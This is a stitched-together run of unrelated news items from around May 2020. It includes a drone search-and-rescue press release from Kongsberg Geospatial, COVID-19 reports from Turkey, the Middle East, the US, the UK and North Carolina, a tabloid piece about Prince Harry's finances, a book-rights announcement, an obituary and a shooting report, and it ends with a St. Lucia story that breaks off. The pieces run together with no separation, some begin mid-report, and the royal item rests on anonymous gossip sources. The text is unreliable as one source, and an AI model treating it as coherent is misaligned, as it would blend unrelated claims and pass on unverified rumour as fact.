Kongsberg Geospatial, developer of the TerraLens Geospatial SDK, and Larus Technologies of Ottawa, Canada, and the Civil Air Search and Rescue Association of Canada (CASARA), announced today that they have been selected by Public Safety Canada to integrate geospatial software, artificial intelligence, and machine vision software to help develop new methods for the use of drones in search and rescue operations in remote communities in Canada.

The project will be funded by the Search and Rescue New Initiatives Fund (SAR NIF), and has been dubbed OVERSEE  an acronym for Optical Vision Enhancement and Refinement of Sensor Exploitation Effectiveness. The OVERSEE project is intended to help address the unique challenges of conducting search and rescue operations in remote areas (such as indigenous communities in the Arctic and their immediate surrounding area) with UAS platforms.

OVERSEE will initially employ available search and rescue statistics from the Department of National Defence, CASARA, Transport Canada and other agencies and execute simulations driven by Artificial Intelligence. The AI will use Deep Learning techniques to investigate how BVLOS regulation effects SAR efforts that make use of drones, and how drones have been integrated most effectively in search and rescue operations, particularly for isolated indigenous communities in Canadas North that dont have quick access to Aeronautical search and rescue assets

Ultimately the goal of this research is to help CASARA members and GSAR (Ground Search and Rescue) workers use BVLOS drones more effectively in search and rescue operations.

Kongsberg Geospatial will be leading the project, contributing their expertise in precision mapping, Air Traffic Management, and the development of multi-vehicle UAS control stations for BVLOS missions to help develop tools and procedures for the safe, effective use of drones for search and rescue missions in remote areas. They will also be contributing tools and training for machine vision techniques.

Larus Technologies specializes in Intelligence Surveillance and Reconnaissance (ISR) systems for defence applications, and will be contributing their Total::Perception simulation engine and Total::Vision computer vision technology to the project.

CASARA will be helping to gather drone video from training exercises throughout Canada in cooperation with its volunteers, as well as search and rescue event statistics from community organizations. Upon completion of the project, CASARA membership will help to circulate the SOPs derived from the project to their membership of Civil Air Search and Rescue workers and volunteers across Canada to ensure that everyone has access to the improved UAS SAR guidance.

While the project is primarily funded through Public Safety Canadas SAR NIF fund, all three partners will be making in-kind contributions in software licenses, technology, and professional services.

I feel that this initiative by Kongsberg Geospatial has the potential to enhance our organizations ability to provide timely and effective SAR (Search and Rescue) assistance, said Frank Schuurmans, President of CASARA. We look forward to working closely with Kongsberg Geospatial, Larus Technologies and DND on this project by providing SAR consultation for all requested phases, providing information and research dissemination through our existing communication channels, and by seeking volunteers from within our organization to participate in Computer Vision training activities.

Kongsberg Geospatial president, Ranald McGillis, said that the project team hopes to help make a meaningful contribution to search and rescue operations in remote and aboriginal communities. We and our partners believe that this project can help search and rescue volunteers save lives in isolated communities by using inexpensive, off-the-shelf drones to conduct searches until the Canadian Air Force or other aeronautical assets can join the search. We also hope to increase survival rates by showcasing how drone systems can be augmented with Computer Vision systems for improved performance.

The OVERSEE project is expected to be completed some time in 2021.

About Kongsberg Geospatial: Based in Ottawa, Canada, Kongsberg Geospatial (http://www.kongsberggeospatial.com) creates precision real-time software for air traffic control, unmanned systems, and situational awareness. The Companys products are primarily deployed in solutions for air-traffic control, Command and Control, and air defense. Over nearly three decades of providing dependable performance under extreme conditions, Kongsberg Geospatial has become the leading geospatial technology provider for mission-critical applications where lives are on the line. Kongsberg Geospatial is a subsidiary of Kongsberg Defence & Aerospace.

Media contact: 1-800-267-2626 or reach us by email at info@kongsberggeospatial.com

About SAR NIF: The Search and Rescue New Initiatives Fund (SAR NIF) is managed by Public Safety Canada in partnership with federal, provincial and territorial SAR organizations. The intent of SAR NIF is to enhance the effectiveness, efficiency, economy, and innovation of search and rescue activities as they relate to the response and prevention objectives of the National Search and Rescue Program.

About Larus Technologies: Based in Ottawa, Canada, Larus Technologies (http://larus.com/) creates applications for data analytics and C4ISR applications. Their Total::Insight SDK is the first predictive analytics multi-sensor, multi-source, decision support system (DSS) for Defense Contractors developing mission-critical C4ISR systems and Security systems.

About CASARA: Based in Winnipeg, MB, the Civil Air Search and Rescue Association (CASARA) is a Canada-wide volunteer non-profit aviation association dedicated to the promotion of Search and Rescue awareness, and to the provision of trained and effective air search support services to supplement Canadas National Search and Rescue program. CASARA operates in all 13 provinces and territories.
Source: Xinhua| 2020-05-22 05:27:19|Editor: huaxia

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by Zeynep Cermen

ISTANBUL, May 21 (Xinhua) -- More than 90 Turkish cooks, including well-known chefs, have been preparing healthy meals for Isranbul's at-risk senior citizens who have been locked down at their homes for nearly two months as part of the measures to curb the spread of the COVID-19 pandemic.

They have been cooking two meals for at least 2,400 seniors per day in the Kadikoy district on the Asian side of the largest city in Turkey since the pandemic was first seen in the country in around mid-March.

The project has been developed by two chefs, Umut Karakus and Sinan Budeyri, with the aim of delivering healthy food to the elderly who could not cook their meals during the health crisis.

"When we presented the project to the Kadikoy Municipality, it immediately opened its doors to us and took the responsibility of distributing the meals to seniors," Karakus told Xinhua on Thursday.

Karakus and Budeyri have been determining the menu, with low salt and spices, giving instructions to those in charge of the kitchen each day.

"We have numerous volunteers, including stewardesses, cabin crew members, physicians, architects and engineers," Karakus said, noting their contributions are priceless as the preparation of meals requires a lot of hard work.

"In some meals, we are using 100 kg of carrots or many more potatoes," he continued. "We need as much as people to peel them and make them ready in time."

According to Karakus, around 15 cooks have been working each day in the kitchen.

"We were once cooking for a maximum of 200 people in a day, spending hours on a single plate. Now, we are in a quite different position," Sinan Budeyri told Xinhua.

There are some elderly people in the district, who are completely dependent on these meals and even cannot walk, according to Budeyri.

"Sometimes we knock on their doors, and it takes over 10 minutes for some of them to open it," Budeyri said. "When I see the conditions of these people, I realize what a right decision we have given by launching this project.

The two chefs said they have worked hard to find sponsorships for the project at the beginning.

"But we know the suppliers very well, and we used our contacts," Budeyri noted, saying several big brands of dairy products and pulses are now among their contributors.

"We have grabbed a very natural synergy here, and we should carry it to an upper level with new and bigger projects," Budeyri said.

Karakus owns Muutto Istanbul, a street food and meze bar-restaurant, while Budeyri runs a restaurant named Markus Prime Ribs Society and Nino Bakery in Istanbul.

Lale Gulcan, another chef taking part in the project, said the team has also been cooking for the health care workers in the Tuzla district for at least three weeks now.

"Tomorrow we will make a dessert for 3,000 people," Gulcan said. "I am very happy and proud to be involved in this project," she told Xinhua.

Seen as the most vulnerable to the COVID-19 pandemic, the elderly aged 65 and older across Turkey have been under lockdown since March 21 as part of the government's measures against the pandemic. Enditem
-- President Donald Trump said Friday he has declared that churches and other houses of worship provide "essential services" and he's told the Centers for Disease Control and Prevention to issue guidance to help them reopen.

"I call upon governors to allow our churches and places of worship to open right now," he said making the announcement and leaving without taking questions after calling church closings an "injustice."

He threatened to "override" governors if they weren't allowed to reopen "this weekend."

PHOTO: President Donald Trump speaks with reporters about the coronavirus in the James Brady Briefing Room of the White House, May 22, 2020, in Washington. (Alex Brandon/AP)

Earlier, he said doing so is critical to the nation's "psyche" and accused Democratic governors of not treating churches with 'respect."

-- With the U.S. death toll from COVID-19 close to 95,000 as the Memorial Day weekend begins, Trump has ordered all flags on government buildings lowered to half-staff through Sunday "for every life lost to the coronavirus pandemic."

PHOTO: People walk past flags flying at half-staff at the Washington Monument, May 22, 2020, in Washington. (Patrick Semansky/AP)

His order came after House Speaker Nancy Pelosi and Senate Minority Leader Chuck Schumer sent a letter to him Thursday requesting flags be lowered when the death toll reaches reaches 100,000, as experts estimate will happen by the end of the month -- what the Democratic congressional leaders called a "sad day of reckoning."

PHOTO: The flag on the roof of the White House flies at half-staff by order of President Donald Trump, 'for every life lost to the coronavirus pandemic,' May 22, 2020, in Washington. (Alex Brandon/AP)

MORE: Army sentinels stand watch at Tomb of Unknowns during pandemic

-- A new study of 96,000 patients hospitalized on six continents published Friday in the medical journal The Lancet finds that people treated with hyroxychloroquine -- the unproven drug treatment Trump has touted as a "game changer" -- had a higher risk of dying from an irregular heart rhythm than those who didn't take the antimalarial medication, as reported in The Washington Post.

The president has said that he would finish his last dose of a two-week course of what he calls "the hyrdroxy" today.

Here are Friday's most significant developments in Washington so far:

Story continues

President Trump orders CDC to issue new guidance to help churches and other houses of worship to reopen, declaring they provide 'essential services'

He called on governors to allow them to 'open right now,' threatened to 'override them'

President Trump ordered flag lowered to half-staff to honor pandemic victims as death toll nears 100,000

New study finds patients who take hydroxychloroquine have greater risk of dying

Trump says he will take finish a two-week course of the drug he's called a 'game changer' today

Tune into ABC at 1 p.m. ET and ABC News Live at 4 p.m. ET every weekday for special coverage of the novel coronavirus with the full ABC News team, including the latest news, context and analysis.

PHOTO: President Donald Trump arrives with White House press secretary Kayleigh McEnany to speak with reporters about the coronavirus in the James Brady Briefing Room of the White House, May 22, 2020, in Washington. (Alex Brandon/AP)

Trump declares houses of worship provide 'essential services'

President Trump, as part of his push to reopen the country, has declared houses of worship provide "essential services" and demanded governors allow them to reopen "this weekend," threatening ti "override" them if they didn't but not explaining what legal grounds he had to do so.

"At my direction, the Centers for Disease Control and Prevention is issuing guidance for communities of faith," he said making a brief statement in the White House briefing room Friday afternoon without taking questions. "Today, I am identifying houses of worship, churches, synagogue, and mosques, as essential places that provide essential services," he said.

"Some governors have deemed liquor stores and abortion clinics as essential, but have left out churches and other houses of worship. It's not right. So, I'm correcting this injustice and calling houses of worship essential," he declared.

"I call upon governors to allow our churches and places of worship to open right now. If there's any question, they're going to have to call me, but they are not going to be successful in that call," he continued.

"These are places that hold our society together and keep our people united. The people are demanding to go to church, and synagogue, go to their mosque. Many millions of Americans embrace worship as an essential part of life," he said.

BREAKING: In brief remarks, Pres. Trump calls on governors to allow houses of worship to reopen this weekend. "If there's any question, they're going to have to call mebut they're not going to be successful in that call."https://t.co/iaXUBvF7Nw pic.twitter.com/8tiUagNocw  ABC News Politics (@ABCPolitics) May 22, 2020

After Trump left, White House press secretary Kayleigh McEnany dodged answering when reporters asked what authority the president had to force governors to open churches.

She called it a "hypothetical question" -- even though the president himself said that if governors do not allow churches to reopen he will intervene to "override" them.

PHOTO: Response coordinator for White House Coronavirus Task Force Deborah Birx speaks to the press on May 22, 2020, in the Brady Briefing Room of the White House in Washington. (Mandel Ngan/AFP via Getty Images)

In an exchange with ABC News Chief White House Correspondent Jon Karl, coronavirus task force coordinator Dr. Deborah Birx praised a new study published in the medical journal The Lancet that shows a heightened mortality rate among COVID patients who took hydroxychloroquine -- the antimalarial drug Trump has touted as a potential "game changer" treatment -- as one of our clearest studies out there when it comes to comorbidities.

It clearly shows that comorbidity that puts individuals at more risk and I think it's one of our clearest studies because there was so many, tens of thousands it of individuals involved, and the doctors clearly annotated who had heart disease and who had obesity, and you can see dramatically the increase risks for that," she said.

Birxs praise for the study is notable considering its critical conclusions on hydroxychloroquine. The president has dismissed a prior study looking at VA patients that reached a similar conclusion as being a Trump enemy statement.

--ABC News' Jordyn Phelps and Elizabeth Thomas

PHOTO: President Donald Trump arrives on the South Lawn of the White House after returning from a trip to Michigan, May 21, 2020, in Washington. (Evan Vucci/AP)

From earlier today:

Trump says new reopening guidance will deem churches 'essential'

President Trump continued to tease forthcoming CDC guidance to prioritize the reopening churches, suggesting he will speak more on the topic later today and that the new guidance will deem places of worship as essential to make it easier to open amid the ongoing pandemic.

I just spoke to CDC, we want our churches and our places of faith and worship, we want them to open, and CDC is going to be -- I believe today they will be issuing a very strong recommendation, and I'm going to be talking about that in a little while, Trump said.

Though the president usually addresses the issue in speaking of "churches," he made clear that the guidance will apply to all religious institutions.

I consider them essential, and that's one of the things we are saying. We are going to make them essential. You know, they have places essential, that aren't essential, and they open and yet the churches aren't allowed to open and the synagogues. Again, places of faith. Mosques. Places of faith. So, that's going to see that and you're going to see that," he said.

PHOTO: President Donald Trump speaks from the Truman Balcony during a ceremony to honor veterans at the White House May 22, 2020, in Washington. (Alex Wong/Getty Images)

The president made the comments during a South Lawn event with Rolling Thunder bikers to honor veterans that felt very much like a campaign event.

Rain fell as Guns n Roses blared from loudspeakers and the president spoke under the cover of the portico to a group of motorcyclists below.

PHOTO: President Donald Trump speaks during a 'Rolling to Remember Ceremony,' to honor the nation's veterans and POW/MIA, from the Truman Balcony of the White House, May 22, 2020, in Washington. (Alex Brandon/AP)

-- ABC News' Jordyn Phelps

What to know about coronavirus:

How it started and how to protect yourself: coronavirus explained

What to do if you have symptoms: coronavirus symptoms

Tracking the spread in the US and Worldwide: coronavirus map

Coronavirus government response updates: Trump declares houses of worship 'essential,' threatens to override governors originally appeared on abcnews.go.com
Source: Xinhua| 2020-05-23 05:29:52|Editor: huaxia

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A policewoman checks a man's body temperature at the entrance of a shopping mall in Ankara, Turkey, on May 22, 2020. The total number of COVID-19 cases in Turkey reached 154,500 on Friday, with 952 new cases registered, Turkish Health Minister Fahrettin Koca said. (Photo by Mustafa Kaya/Xinhua)

CAIRO, May 22 (Xinhua) -- Turkey's COVID-19 cases on Friday exceeded 154,000 as the daily number of new infections continued to drop below 1,000. Meanwhile, Iran's tally of confirmed cases surpassed 131,000.

The total number of COVID-19 cases in Turkey, the hardest-hit country in the Middle East, climbed to 154,500 after 952 new infections were reported, Turkish Health Minister Fahrettin Koca tweeted.

This was the third day that Turkey's daily infections with the novel coronavirus fell below 1,000.

Turkey's death toll surged to 4,276 after 27 more deaths were added, Turkish Health Minister Fahrettin Koca tweeted.

Turkey has launched a financial support package to protect exporters from the impact of coronavirus, Turkish Trade Minister Ruhsar Pekcan announced on Friday.

The package, called the Stock Financing Support Package, has come into use through Turkey's Eximbank, according to a press release issued by the ministry.

The Iranian health ministry on Friday reported 51 new deaths of the novel coronavirus, bringing the total number of deaths in the country to 7,300 since the outbreak of the disease in late February.

Kianush Jahanpur, head of Public Relations and Information Center of the Ministry of Health and Medical Education, said 2,311 people contracted the virus over the past 24 hours, taking the number of infections to 131,652.

Saudi Arabia continued to be the country in the Middle East with the fastest rise in daily COVID-19 cases, with 2,642 new ones reported on Friday, pushing up the total number to 67,719.

The kingdom also reported 13 new fatalities, bringing the death toll to 364. The number of recoveries increased to 39,003 after 2,963 new ones were added.

Qatar's health ministry on Friday announced 1,830 new infections of COVID-19, increasing the total number of confirmed cases in the Gulf state to 40,481.

Kuwait reported 955 new cases of COVID-19 and nine more deaths, raising the tally of infections to 19,564 and the death toll to 138, the health ministry said in a statement.

Kuwait also announced the recovery of 310 more patients, raising the total recoveries in the country to 5,515.

The United Arab Emirates (UAE) announced 994 new COVID-19 cases, bringing the total confirmed cases in the country to 27,892.

The UAE Ministry of Health and Prevention said 1,043 more patients fully recovered from the virus, taking the tally of recoveries to 13,798. Four more deaths were recorded, raising the country's death toll to 241.

Egypt recorded 783 new COVID-19 cases during the last 24 hours, the highest daily rise since the pandemic outbreak in February, bringing the total cases to 15,786, Egypt's health ministry said on Friday.

Egypt also confirmed 11 new coronavirus-related deaths, taking the death toll from the disease to 707, said Khaled Megahed, the health ministry's spokesman, in a statement.

On Thursday, Chinese Ambassador to Egypt Liao Liqiang said Chinese companies in the North African country take strict precautionary measures to maintain their work momentum in different projects amid the COVID-19 outbreak.

The Omani Ministry of Health announced 424 new confirmed cases of COVID-19, bringing the total number of cases in the country to 6,794.

The Iraqi Health Ministry on Friday recorded 87 new cases of COVID-19, bringing the total number of infections to 3,964 in the country.

Lebanon's number of COVID-19 infections increased on Friday by 62 cases to 1,086 while death toll remained at 26.

A total of 121 new COVID-19 cases have been confirmed in Morocco on Friday, bringing the total number of cases to 7,332.

The number of people cured has increased to 4,377 with 97 new recoveries, director of epidemiology at the Ministry of Health Mohamed El Youbi said in his daily briefing.

Libya's National Center for Disease Control on Friday announced one new COVID-19 case and three recoveries.

The number of confirmed cases in Libya so far is 72, including 38 recoveries and three deaths. Enditem
Because of the coronavirus, Meghan Markle and Prince Harry's plan to start working in Los Angeles has been put to a halt, not knowing where and how to support their lavish lifestyle.

But because Prince Harry is the head of the family, he has resorted to drastic measures to make ends meet.

According to Globe, the 35-year-old Duke has sold off his old hunting rifles, which were estimated to be worth close to $60,000.

A source told the magazine, "Harry and Meghan are feeling a financial pinch after moving to California."

Since the Duchess of Sussex isn't a fan of the Duke's animal hunting hobby, the source further revealed that his decision to sell his prized possessions might be an appropriate course of action.

"Harry sold the rifles for quick cash to help cover expenses, killing two birds with one stone by making Meghan doubly happy."

According to Dr. Jane Goodall, a close friend of the couple, Prince Harry had to give up hunting because "Meghan doesn't like it."

Aside from the Duke and Duchess of Sussex's expenses in Los Angeles, they also have to pay the refurbishing cost at their former home in the UK, Frogmore Cottage.

When they decided to remove themselves from royal duties and Prince Harry's home country, one point of contention was the taxpayers' money that had been spent on renovating their UK home.

In a report published by The Daily Mail, Meghan and Prince Harry have already started paying back the funds.

The renovations were estimated to be around $3 million, and the couple will be handing over $22,000 monthly for the payment. It has also been reported that they are paying it periodically to keep Frogmore as their official British home when they come to visit.

Once they are in the UK, Frogmore Cottage will be in a "rental-plus" agreement for the couple, in which they pay more than the commercial rate.

For their security detail, Meghan and Prince Harry should not worry about it, as it was previously reported that Prince Charles would be covering their annual $2.5 million security costs.

But Royal commentator Charles Rae was not happy, as he thinks the Brits are still paying somehow for the Duke and Duchess of Sussex.

"We are still as far as we know, paying out a bit for their security, aren't we? We are because at the moment Prince Charles is giving them $2.5 million a year."

Prince Harry and Meghan Markle's cash-strapped news comes after reports that they were starting to worry about their future.

A royal source said In Touch, "This independence is what Harry wanted so badly, but the truth is... it's been a real struggle to adjust to the real world."

The source further shared how the Duke of Sussex has never had to worry about money, which is now making it difficult for him to learn how to budget appropriately.

The couple will not be able to make money by doing their plans to become speakers and make appearances, as what they had reportedly looked forward to because of the lockdown. And just like the rest of us, Meghan Markle and Prince Harry still have bills that need to be paid.

"They're still spending a ton. They're going to end up broke," the source claimed.

READ MORE: Queen's Rage: Queen Elizabeth II Angry at Prince Harry, Meghan Markle for Not Keeping a Low Profile
LAS VEGAS, May 22, 2020 /PRNewswire/ -- LMBPN Publishing, a global leader in independent digital book publishing, has announced today that it has acquired the German translation publishing rights for a twelve-book, two-series deal with best-selling LitRPG author Eric Ugland. By signing with LMBPN, Ugland will be able to expand his fan base into the German market, and the company will continue to grow its global LitRPG presence.

Eric Ugland head shot

Michael Anderle, Chief Executive Officer and President of LMBPN, said, "LMBPN Publishing is thrilled to expand its LitRPG presence in German by publishing Eric's works. When I began reading LitRPG, I kept seeing these 'you might also like' books. One series continually caught my attention. Why? Because of the uniquely clever humorous titles and art that looked at home on eight-bit game covers. Eric's books seemed to promise fun, action, and snarky humor. They delivered that and more, wrapped inside some truly fantastic stories! I've been a fan of Eric's The Good Guys / The Bad Guys since reading that first book. Publishing these marvelous books in German is definitely a win for our company, and for our growing German-language reader base."

Eric Ugland said, "There are few companies I like as much as LMBPN, and it is an honor to work with them. Michael is such an inspiration to those of us in the indie writing community, and I look for reasons to work with him because I wind up learning so much from the man. I can't wait to connect with those German LitRPG fans out there over games, fantasy, and power metal."

About LMBPN Publishing

Founded in 2015, LMBPN has rapidly become an industry leader in the digital sci-fi and urban fantasy genres. The company has gained a loyal global fan base that consistently propels LMBPN's books into Amazon.com*, Inc. top ranks and has made founding author Michael Anderle a #1 ranked sci-fi author. LMBPN's digital catalog presently includes over six hundred titles, many of them in the top 1,000 on Amazon.com*, and over two hundred titles on Audible.com *. Combined, the current series in the company's portfolio have sold over 4,000,000 books.

Visit http://LMBPN.com

About Eric Ugland

Originally from England, Eric wrote several of his novels while living in Los Angeles, including the Roseland mystery series, which is also published by LMBPN. He leads Air Quotes Publishing Inc. as the company's Chief Creative Officer (CCO). Eric lives in Ashland, Oregon with his wife, son, and Grover Cleveland, his labradoodle.

Visit http://www.ericugland.com/books

*Brands are the property of their respective owners.

Media Contact:

Judith Anderle

Chief Commercial Officer

LMBPN Publishing

www.lmbpn.com



Cell# +1-626-827-4549

e-mail: [email protected]

SOURCE LMBPN Publishing

Related Links

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Among the ZIP codes that include Iredell County, the cases are a follows: In 27020, there are 24 cases; 27028, 37; 27055, 57; 28678, 1; 28634, 12; 28660, 4; 28636, 2; 28689, 5; 27013, 10; 28166, 6; 28677, 49 and two deaths; 28625, 35; 28036, 18 cases and one death; 28115, 52 cases and two deaths; 28117, 46 cases and one death; 28125, 3 cases.

The cumulative number may differ from the countys numbers as the county has a different test confirmation process than the state. Some ZIP codes also encompass counties other than Iredell.

Among the COVID-19 cases in Iredell County, 37% are among those aged 25 to 49, 34% are among those aged 50 to 64, 17% are among those aged 65 or older, 11% are among those aged 18 to 24 and 1% are among those aged 17 and under.

Males make up 51% of cases.

Among neighboring counties, as of Thursday mornings report, Mecklenburg leads the state with 2,894 cases. It has 70 reported deaths.

Cabarrus County has 406 cases and 21 reported deaths, though the total does not include a Virginia resident who died in the county. Rowan has 574 cases and 25 deaths.

Catawba has 129 cases and three deaths. Davie has 57 cases and two deaths. Lincoln has 54 cases. Yadkin has 124 cases and one death. Wilkes has 456 cases and one death. Alexander has 23 cases.
Alan Leonard, a 'prosecutors prosecutor,' dies at age 72

Prosecutor Alan Leonard is shown in a courtroom.

Alan Leonard, a widely respected attorney who served as prosecutor for the judicial district that includes Henderson, Polk and Transylvania counties from 1982 to 1994, died Thursday at age 72.

The go-to prosecutor for many of Western North Carolinas highest-profile cases, Leonard could be called on to bring peerless courtroom skills and a passion for victims to win convictions in the sorts of crimes that destroy families, shatter a communitys sense of safety and generate nationwide headlines.

He was a prosecutors prosecutor, said District Attorney Ashley Hornsby Welch, who oversees the seven westernmost counties, or the 43rd Prosecutorial District. Whenever Ive not known what to do, Ive called him. He taught me how to try a case. He was my mentor.

A native of Henderson County, Welch was assigned at age 13 to shadow a defense lawyer, who represented a client in a case involving a dead child. She watched, mesmerized, as then District Attorney Leonard prosecuted the suspect.

I remember saying, I want to be that person. I want to do what he does and here I am, Welch said. The whole reason Im a prosecutor is because of Alan Leonard, and he continued to counsel me from when I was 13 years old, until now."

Instead of continuing to shadow the defense attorney, she switched and shadowed the district attorneys office. Leonard paired her with Assistant District Attorney Jill Rose, now a federal prosecutor for the Western District of North Carolina.

He wanted me to have a strong female role model, Welch said. She is formidable as a prosecutor.

As was Leonard, who one newspaper lauded for impassioned closing arguments that can stir juries to tears and capture the attention of the most jaded courtroom workers.

Among Leonards career highlights:

 He successfully prosecuted Jimmy Jaynes in the 1990 shooting death of a Polk County cattle farmer. The victim, Paul Acker, was a millionaire who had left New York to escape the crime and traffic and live his lifelong dream of raising cattle in a small town.

 He successfully prosecuted Phillip Lee Ingle, a man in Rutherford County who said he enjoyed watching people die in agony and, in 1991, beat to death four elderly people he described as demons with red eyes, horns and tails.

 He successfully prosecuted in Jackson County, in 1994, seven people, dubbed the Sylva Seven, for the death of Tony Cecil Queen, who investigators say endured a week of savage beatings and other torture before he suffocated while bound and gagged in the narrow closet of a mobile home.

 He helped prosecute Charles Roach and Chris Lippard, who in 1999 in Haywood County, gunned down five members of the Phillips family after they returned from the county fair. The men stopped randomly along I-40 at the familys house to steal a car.

A native of Tryon, Leonard earned undergraduate and law degrees from the University of North Carolina at Chapel Hill. He entered the Air Force in 1970 and retired in 1998 as a lieutenant colonel in the Air National Guard.

Leonard served four terms as the elected district attorney for the 29th District, from 1982-1994, overseeing prosecutions in Henderson, Polk and Transylvania counties. After an election loss in 1994, he joined the then 30th District (now the 43rd) as an assistant district attorney. District Attorney Charles Hipps died in February 2003, and Leonard served about three months as interim district attorney. From 2005-2009, he served as attorney for Henderson County Sheriffs Office, then joined Smith Rodgers law firm, which specializes in providing legal advice to law enforcement.

He was the best trial attorney Ive ever seen, said Bill Jones, a Waynesville lawyer and former assistant district attorney who served with Leonard. When he would argue in front of a jury, he was just brilliant. ... He treated people with respect, wasnt mean and wasnt disrespectful. He always cared about getting to the truth."

He recollected how a well-known superior court judge once told him, If anyone ever hurts my family, I want Alan to prosecute.

In a 2005 newspaper article, Leonard offered advice to his fellow prosecutors. Adopt humility and avoid arrogance, which will destroy you," he said, "because, in the end, the District Attorneys Office works for the people.
R eopening schools next month is likely to "put pressure" on the R rate, the Government's chief scientific advisor has said.

Sir Patrick Vallance said schools starting to open from June was likely to push the rate of coronavirus infections up.

"The risk for children (from coronavirus) is much lower  we know that," he told the Downing Street briefing on Friday.

"They are at low risk but not zero risk and there have been some serious cases of children, of course, but very few compared to adults and older age groups.

"The broader risk in terms of opening schools is that as soon as you introduce any contact, you put pressure on the R and you put pressure on numbers, and thats true of anything we are going to do in terms of changes to contact."

It comes as new evidence shows children could be half as likely to catch coronavirus as adults and teachers do not appear to be at greater risk than other professions.

The research emerged on Friday in papers assessing the impact of relaxing school closures from the Goverments Scientific Advisory Group for Emergencies (Sage).

A review of global studies led by University College London found those aged under 20 had 56 per cent less chance of being infected.

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However, evidence on how likely children are to transmit Covid-19 remains inconclusive, according to the scientific advice used to inform the proposals to reopen schools.

The paper published by Sage models nine different options for getting pupils safely back into the classroom.

These ranged from keeping them shut to all but vulnerable children or those of key workers, right through to fully reopening all primary and secondary schools.

UK returns to work as Coronavirus restrictions are eased - In pictures 1 /38 UK returns to work as Coronavirus restrictions are eased - In pictures Londoners returning to work near London Bridge Jeremy Selwyn Emergency as Lockdown is slowly lifted at Victoria Station Nigel Howard Cyclists travel in central London AFP via Getty Images Emergency as Lockdown is slowly lifted at Victoria Station Nigel Howard Alan Price on his Penny Farthing this morning on Battersea Bridge Jeremy Selwyn Delivery men are seen outside a reopened McDonald's with take-out only deliveries in Dalston Reuters Jubilee Line tube commuters as lockdown eases Nigel Howard Worlds End Nurseries in Chelsea opens for business. Customer Nika Kucifer is shown flowers by Janson Lotery Nigel Howard Londoners going back to work at Waterloo Jeremy Selwyn People ride bicycles in a cycle lane in Chelsea PA Jubilee Line tube commuters as lockdown eases Nigel Howard Londoners going back to work at Vauxhall Jeremy Selwyn Jubilee Line tube commuters as lockdown eases Nigel Howard Jubilee Line tube commuters as lockdown eases. Nigel Howard Matt Writtle Londoners going back to work at Vauxhall Jeremy Selwyn Vehicles are seen on the M56 motorway near Manchester, Reuters Londoners going back to work at Waterloo Jeremy Selwyn Londoners going back to work at Vauxhall Jeremy Selwyn Londoners going back to work at Vauxhall Jeremy Selwyn Monty's first day back. West Highland Terrier Monty commutes to work on his bike on his first day back with owner Darragh McElroy. Monty, who's Instagram account is @monty_whitehall_westie, works at the Cabinet Office in Whitehall with his owner Darragh who is Deputy Director of Coronavirus Communications at the Cabinet Office Matt Writtle Londoners going back to work at Vauxhall Jeremy Selwyn A commuter wears a mask at Canning Town station Reuters Rush hour on the M6 at the junction for Birmingham/Walsall on the first morning of the eased Coronavirus lockdown PA Londoners going back to work at Vauxhall Jeremy Selwyn Commuters, some wearing masks are seen on a London Underground tube, following the outbreak of the coronavirus disease Reuters Londoners going back to work at Vauxhall Jeremy Selwyn Commuters, some wearing masks are seen at Stratford station, Reuters Cyclists in Chelsea today. Nigel Howard

But the document says: "Evidence remains inconclusive on both the susceptibility and infectivity of children, but the balance of evidence suggests that both may be lower than in adults."

Teaching unions and some councils have spoken out against the Governments plans to begin a phased reopening of schools in England on June 1.

In response to the publication of the Sage documents, the National Education Union suggested Boris Johnson was taking a cavalier attitude towards children.

Dr Bousted said it remains the case that the National Education Union does not yet think it is safe for the wider opening of schools.

Dr Patrick Roach, general secretary of teachers union NASUWT, added that the scientific advice would only add to teachers uncertainty and anxiety.

The committee states that large-scale community testing is needed to better understand and monitor the prevalence of and susceptibility to Covid-19 in children, yet the Governments plans for the reopening of schools from June 1 are premature whilst a widespread community testing system will not be in place," he said.
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"Baskets" star Hagen Mills was found dead in an attempted murder-suicide on Tuesday night (May 19) in Mayfield, Kentucky.

The 29-year-old actor falsely believed that he shot his ex-girlfriend Erica Price dead before taking his own life.

Hagen Mills Begged Ex-Girlfriend To Give Their Relationship Another Go

The victim's mother Tammy Green-Price told the Daily Mail that she was looking after her granddaughter Mila when the actor forcefully entered their home. Hagen then tied her arms with duct tape as he waited behind the front door to ambush his former girlfriend.

Upon Erica's arrival, the actor burst forth and held her at gunpoint as he pleaded Price to get back together and give their relationship a second chance.

Hagen Mills Shot Erica At Point-Blank Range

Tammy went on as she recalled the terrifying event when Mills shot her daughter.

"He stepped out so she could see the gun, She told him 'I'll go anywhere, I'll do anything'. Erica was doing everything she could to get him out of there and away from us. But he grabbed her phone and saw something on it and just said 'oh no'. That's when he raised his gun," Green-Price added.

The "Puncture Wounds" actor went on a rage and fired two gunshots at the 34-year-old victim from point-blank range.

Believing that she was next, Tammy tried to protect her granddaughter by shielding her and nudging her down the couch.

"I heard the gun go off, I heard his body hitting the floor and I finally opened my eyes and realized I was alive," she added.

Erica Price Now In A Stable Condition

Meanwhile, despite having visible gunshots, the mom-of-one called 911 as she managed to drag herself into another room.

Fox News, on the other hand, confirmed that Price remains in the hospital but is now in stable condition after obtaining a "gunshot wound to her arm and chest."

A Crime of Passion?

Furthermore, Green-Price continued as she described her daughter -- who is an advanced practice nurse -- as a "beautiful person" with a "giving and kind soul."

Whereas, she called the actor a "very troubled soul" who had been "terrorizing" her daughter after the two broke up.

"He was obsessed with her. He was stalking her. I don't know how much the police know because she was a very private person," Green-Price further told the Daily Mail. "He was driving over to the house to see if she had company, coming here in the middle of the night. He was calling her constantly and showing up at her work."

The outlet also uncovered that apart from the said incident, Mills had a criminal history which includes second-degree assault, possession of meth, and wanton endangerment.

The actor was also arrested and charged with first-degree rape, sodomy, and kidnapping on March 30 and was released from the Graves County Jail with a $500,000 property bond and $10,000 surety on May 6.

Aside from his 2016 comedy-drama series on FX, Hagen Mills also starred in an episode of the TV comedy Swedish Dicks and had a few roles in the 2013's "Bonnie & Clyde: Justified" directed by David DeCoteau.
A St. Lucian family is grateful for support from St. Vincent and the Grenadines authorities after St. Lucia authorities refused to take in one of their own nationals.





In an interview with THE VINCENTIAN from St. Lucia, Mary Grant-St. Croix, Sister of John St. Croix from Mariogot Bay, St. Lucia, said that the family wished to see her brother back home.





John is among three men in their 50s who were denied entrance into St. Lucia after 15 days in the open waters. St. Lucia contended that it had closed its borders, allowing no traffic in or out of the island.





According to reports, the vessel left St. Lucia about two months ago for Haiti where it was to be expected for charter work. However the charter plans had to be discarded as the COVID-19 pandemic put a halt to the cruise line business.





